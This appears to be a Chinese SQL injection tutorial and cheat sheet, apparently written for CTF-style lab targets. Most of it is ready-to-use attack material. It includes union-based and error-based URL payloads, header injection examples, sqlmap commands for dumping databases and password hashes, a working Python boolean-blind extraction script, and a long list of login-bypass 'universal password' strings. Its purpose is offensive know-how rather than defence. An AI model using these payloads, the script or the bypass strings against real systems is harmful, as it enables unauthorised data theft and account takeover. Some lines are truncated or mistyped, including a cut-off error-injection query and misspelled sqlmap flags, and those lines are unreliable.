SQL注入
sql注入介绍
sql注入流程
由于关系型数据库系统具有明显的 库/表/列/内容 的结构层次,所以通过SQL注入漏洞获取库中信息的时候,也是依据这样的顺序
1、获取数据库名
2、获取表名
3、获取列名
4、获取数据
MySQL常用函数与参数
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user() 连接数据库的用户名
databases() 数据库名
version() 数据库版本
load_file() 读取本地文件的函数
@@datadir 读取数据库路径
@@basedir 安装路径
@@version_compile_os 操作系统
left() 从左侧开始指定字符个数的字符串
concat() 没有分隔符的连接字符串
concat_ws() 含有分割符的连接字符串
group_concat() 连接一个组的字符串
ascii() 返回ASCII码
hex() 将字符串转换为十六进制
md5() 返回MD5值
SQL注入基本知识
1、寻找注入点
什么是注入点?
利用页面与数据库交互的地方,由于语句过滤的不严格,使得恶意语句带入到数据库中进行查询。
在页面中又诸如id=1 id=2等的位置就可以能有注入点。
分析
先输入 ' ,如果页面回显出现异常,就说明输入的 ' 是有效果的,
'的作用:判断注入类型是数字型还是字符型。例如:
数字型:查询语句=id ?id=1
字符型:查询语句=‘id’ ?id='1'
当我们语句注入时,对于字符型用'进行测试,例如带入单引号进去【id='1''】,会把前面的语句进行闭合,组后会多一个'而导致页面报错;在数字型的时候输入一个单引号,在正常情况下也会报错,但报错的语句是不一样的,因为会告诉你id没有1',
在题目中,在加上了'后?id=1'页面没有特别的报错,也没有提示我们这 ' 有问题,一般猜测来说就是查询不到1'的内容,所以判断是数字型。
判断
到了上面那个位置还没判断出来是不是注入点,一般通过带入语句,例如and 1=1
http://172.16.1.116/index.php?id=1 and 1=1
如果页面正常,就说明接受了我们这个语句;
再带入and 1=2
http://172.16.1.116/index.php?id=1 and 1=2
显示异常。在判断id=1的时候,用and将1=2和id=1并在一起执行的,
1=2为假
导致了id=1 and 1=2为假,导致了页面回显异常。
综上所述,当?id=1 and 1=1时,页面回显正常;?id=1 and 1=2时,页面回显异常;从这里可以知道,这个页面可以接受我们传输的语句,说明这个位置就是一个注入点。我们就可以从这个位置传输我们的sql注入的恶意查询语句。
2、联合查询注入
(1)什么是联合查询
原本,id=1时,会列出一个表格(查询的结果实际上是一个表格),当我们执行联合查询语句union select 1时,会生成第二个表,那么此时就生成了两个虚拟表,而两个虚拟表的列数需要一致。
(2)order by
由于两个虚拟表列数要一致,当不知道表的列数的时候,我们需要用order by这个语句来判断列数。
order by是以列数进行排序的,但当列数不存在时就会报错或者无回显。
例如,当我们输入
http://172.16.1.116/index.php?id=1 order by 10
此时的页面出现了错误,就说明这个页面没有10列;当我们继续输入order by 4时有正常显示、order by 5时无回显,说明存在4列。
有了列数接下来就可以进行联合查询了。
(3)进行构造联合查询语句
?id=1 union select 1,2,3,4相当于我们构造一个表格让它插入页面中。
做联合查询需要前表出错、后表执行。id=1相当于前表1,2,3,4相当于后表,前表出错、后表执行就是要让id=1的表报错即可,一下提供两种方法可以使id=1报错
id=1 and 1=2 union select 1,2,3,4
id=-1 union select 1,2,3,4
总结来看就是要让前表判断为假或者是不存在的表。
后表1,2,3,4执行后,相对应的数字就会显示在页面相对应的位置上。
例如,要查数据库的版本:
http://172.16.1.116/index.php?id=-1 union select 1,2,3,version()
只要在适当的数字上替换成相关的查询语句,查询的结果就会显示到页面上。(1,2,3,4的位置皆可放入语句,前提条件是方便预览、有回显)
group_concat()
将一个组内多个字符串连成一个字符串进行输出 。
按照以上的方法,列出的所有数据库的时候只能显示一行,group_concat()就可以使得所有数据显示出来。简单来说这个函数就是进行一个连接作用。
演示
整型注入
```
寻找注入点
http://172.16.1.116/index.php?id=1
判断虚拟表列数
http://172.16.1.116/index.php?id=1 order by 1
http://172.16.1.116/index.php?id=1 order by 4
http://172.16.1.116/index.php?id=1 order by 5
确定列数为4
查看回显位置
http://172.16.1.116/index.php?id=-1 union select 1,2,3,4 #
查询数据库
http://129.168.1.1/?id=-1 union select 1,2,schema_name,4 from information_schema.schemata limit 0,1
http://129.168.1.1/?id=-1 union select 1,2,schema_name,4 from information_schema.schemata limit 1,2
查询指定数据库中的表
http://129.168.1.1/?id=-1 union select 1,2,table_name,4 from information_schema.tables where table_schema='数据库名' limit 0,1
查询指定表中字段名
http://129.168.1.1/?id=-1 union select 1,2,column_name,4 from informtion_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1
倒出数据(查看数据库数据)
http://129.168.1.1/?id=-1 union select 1,2,字段名,4 from 数据库名.表名
```
注意:
1、为什么后面会用“limit”?limit表示范围,因为只会显示1行。
2、如果要显示所有,可以用group_concat()函数【后面会写到】
3、id=-1是因为只有前表出错后表才能执行
使用group_concat()
函数
```
查询所有数据库
http://129.168.1.1/?id=-1 union select 1,2,group_concat(schema_name),4 from information_schema.schemata
查询指定数据库中的所有表
http://129.168.1.1/?id=-1 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='数据库名'
查询指定表中所有字段名
http://129.168.1.1/?id=-1 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema='数据库名' and table_name='表名'
查看数据库数据
http://129.168.1.1/?id=-1 union select 1,2,字段名,4 from 数据库名.表名
```
半自动化注入
sqlmap
sqlmap常用命令
-u “URL”检测注入点
--dbs 列出所有数据库的名字
--current-db 列出当前数据库的名字
-D 指定一个数据库
--tables 列出表名
-T 指定表名
--columns 列出所有字段名
-C 指定字段
--dump 列出字段内容
--current-user 当前用户
--current-db 当前数据库
--is-dba 是否是管理员
--hostname 主机名
--users 枚举用户
--passwords 枚举用户密码哈希
--privilieges 枚举用户权限
sqlmap注入操作
以http://172.16.1.116/为例
按照注入流程
_1判断注入点
sqlmap -u "``http://172.16.1.116/?id=1``" --batch
_2获取数据库名
sqlmap -u "``http://172.16.1.116/?id=1``" --batch --dbs
_3获取指定数据库下所有表名
sqlmap -u "``http://172.16.1.116/?id=1``" --batch -D 数据库名 --tables
_4获取表中字段名
sqlmap -u "``http://172.16.1.116/?id=1``" --batch -D 数据库名 -T 表名 --column
_5获取数据
sqlmap -u "``http://172.16.1.116/?id=1``" --batch -D 数据库名 -T 表名 -C 字段1,字段2 --dmup
整数注入同上
字符型注入
字符型注入需要在联合查询加英文状态下的单引号
http://192.168.0.1/?id=-1`` ' union select 1,2 --+
以此类推,注意:需要让语句闭合,正常执行,在url结尾输入%23 或者–+,正常闭合,%23为#,注释后面的语句,一定要注意“ ’ ”英文输入下,否则容易爆错
如果是在输入框就可以输入
-1 ' union select 1,group_concat(schema_name) from information_schema.schemata # '
报错注入
死记硬背:
1 union select count(*),concat((查询语句),0x26,floor(rand(0)*2))x from information_schema.columns group by x
拆解分析
1 count():count()函数返回匹配指定条件的行数。count(*)函数返回表中的记录数
2 floor():floor:函数是用来向下取整呢个的,相当于去掉小数部分
3 rand():rand()是随机取(0,1)中的一个数,但是给它一个参数后0,即rand(0),并且传如floor()后,即:floor(rand(0)*2)它就不再是随机了,序列0110110
4 concat():用于连接两个字符串
5 group by x:x就是相当于 as x,设一个别名
6 0x26:16进制数值,ASCII为“&”,在回显中起到分隔作用
例如:
获取当前数据库名
1 union select count(*),concat((select database()),0x26,floor(rand(0)*2))x from information_schema.columns group by x;
获取所有数据库中的表名
1 union select count(*),concat((select table_name from information_schema .tables where table.schema='DDD'),0x26,flo
布尔盲注
(一)基本原理
在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入
通俗点说,就是你在一间没有光线的屋子里打人,一巴掌打出去有没有打到的问题。
(二)自动注入
直接使用sqlmap工具
(三)手动注入/注入思路
1、获取数据库名
格式
if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))
2、获取数据库中表名
格式
if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))
1
3、获取表中字段
格式
if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))
1
4、获取内容
格式
if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))
PYTHON脚本
```
import requests
import time
urlOPEN = str(input("请输入网址【例:http://URL/?id=】:"))
starOperatorTime = []
mark = 'query_success'
def database_name():
name = ''
for j in range(1,9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN+'if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables))' %(j,i)
# print(url+'%23')
r = requests.get(url)
if mark in r.text:
name = name+i
print(name)
break
print('database_name:',name)
database_name()
def table_name():
list = []
for k in range(0,4):
name=''
for j in range(1,9):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = urlOPEN+'if(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
# print(url+'%23')
r = requests.get(url)
if mark in r.text:
name = name+i
break
list.append(name)
print('table_name:',list)
start = time.time()
table_name()
stop = time.time()
starOperatorTime.append(stop-start)
print("所用的平均时间: " + str(sum(starOperatorTime)/100))
def column_name():
list = []
for k in range(0,3): #判断表里最多有4个字段
name=''
for j in range(1,9): #判断一个 字段名最多有9个字符组成
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url=urlOPEN+'if(substr((select column_name from information_schema.columns where table_name="flag"and table_schema= database() limit %d,1),%d,1)="%s",1,(select table_name from information_schema.tables))' %(k,j,i)
r=requests.get(url)
if mark in r.text:
name=name+i
break
list.append(name)
print ('column_name:',list)
column_name()
def get_data():
name=''
for j in range(1,50): #判断一个值最多有51个字符组成
for i in range(48,126):
url=urlOPEN+'if(ascii(substr((select flag from flag),%d,1))=%d,1,(select table_name from information_schema.tables))' %(j,i)
r=requests.get(url)
if mark in r.text:
name=name+chr(i)
print(name)
break
print ('value:',name)
get_data()
```
时间盲注
MySQL结构
cookie注入
过滤空格注入
1、过滤空格
笼统的说就是不读取空格或空格后的语句被注释
2、特殊符号替代
//
#
/**/
以上符号都可以代替空格使用
3、sqlmap自动注入法
可以使用sqlmap自带的模块,以下列出几个常用模块
1、space2comment
作用:Replaces space character ' ' with comments /**/
用注释/**/替换空格字符' '
2、equaltolike
作用:用like代替等号
3、apostrophemask
作用:用UTF-8代替引号
4、greatest
作用:绕过过滤'>' ,用GREATEST替换大于号
UA注入
1、关于UA
UA的全称是User-Agent
这个是在文件头中,需要使用Burp Suite Community Edition抓取
2、手工注入
在User-Agent: 后面直接写语句就可以了,例如
User-Agent:-1 union select group_concat(schema_name) from information_schema.schemata
Refer注入
与UA注入基本一样,需要在Burp Suite Community Edition抓取报头,加上referer,例如
Referer:-1 union select group_concat(schema_name) from information_schema.schemata
堆叠注入
在SQL中,用分号(;)表示一条sql语句的结束,堆叠注入呢就是在上一条语句结束后继续构造下一条语句。堆叠注入与联合查询最主要的区别就是 联合查询union或union all执行的语句类型是有限的,而堆叠注入可以执行任意的语句。然而 堆叠注入也是有局限性的 堆叠注入并不是每一个环境都可以执行的,可能受到API或者数据库引擎不支持的限制。
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。
万能密码
' or 1='1
'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a 密码随便
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*
1'or'1'='1
asp aspx万能密码
1:”or “a”=”a
2: ‘)or(‘a’=’a
3:or 1=1–
4:’or 1=1–
5:a’or’ 1=1–
6:”or 1=1–
7:’or’a’=’a
8:”or”=”a’=’a
9:’or”=’
10:’or’=’or’
11: 1 or ‘1’=’1’=1
12: 1 or ‘1’=’1’ or 1=1
13: ‘OR 1=1%00
14: “or 1=1%00
15: ‘xor
16: 用户名 ’ UNION Select 1,1,1 FROM admin Where ”=’ (替换表名admin)
密码 1
17admin’ or ‘a’=’a 密码随便
PHP万能密码
‘or 1=1/*
User: something
Pass: ’ OR ‘1’=’1
jsp 万能密码
1’or’1’=’1
admin’ OR 1=1/*
后面绕过方式在单独出一个
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论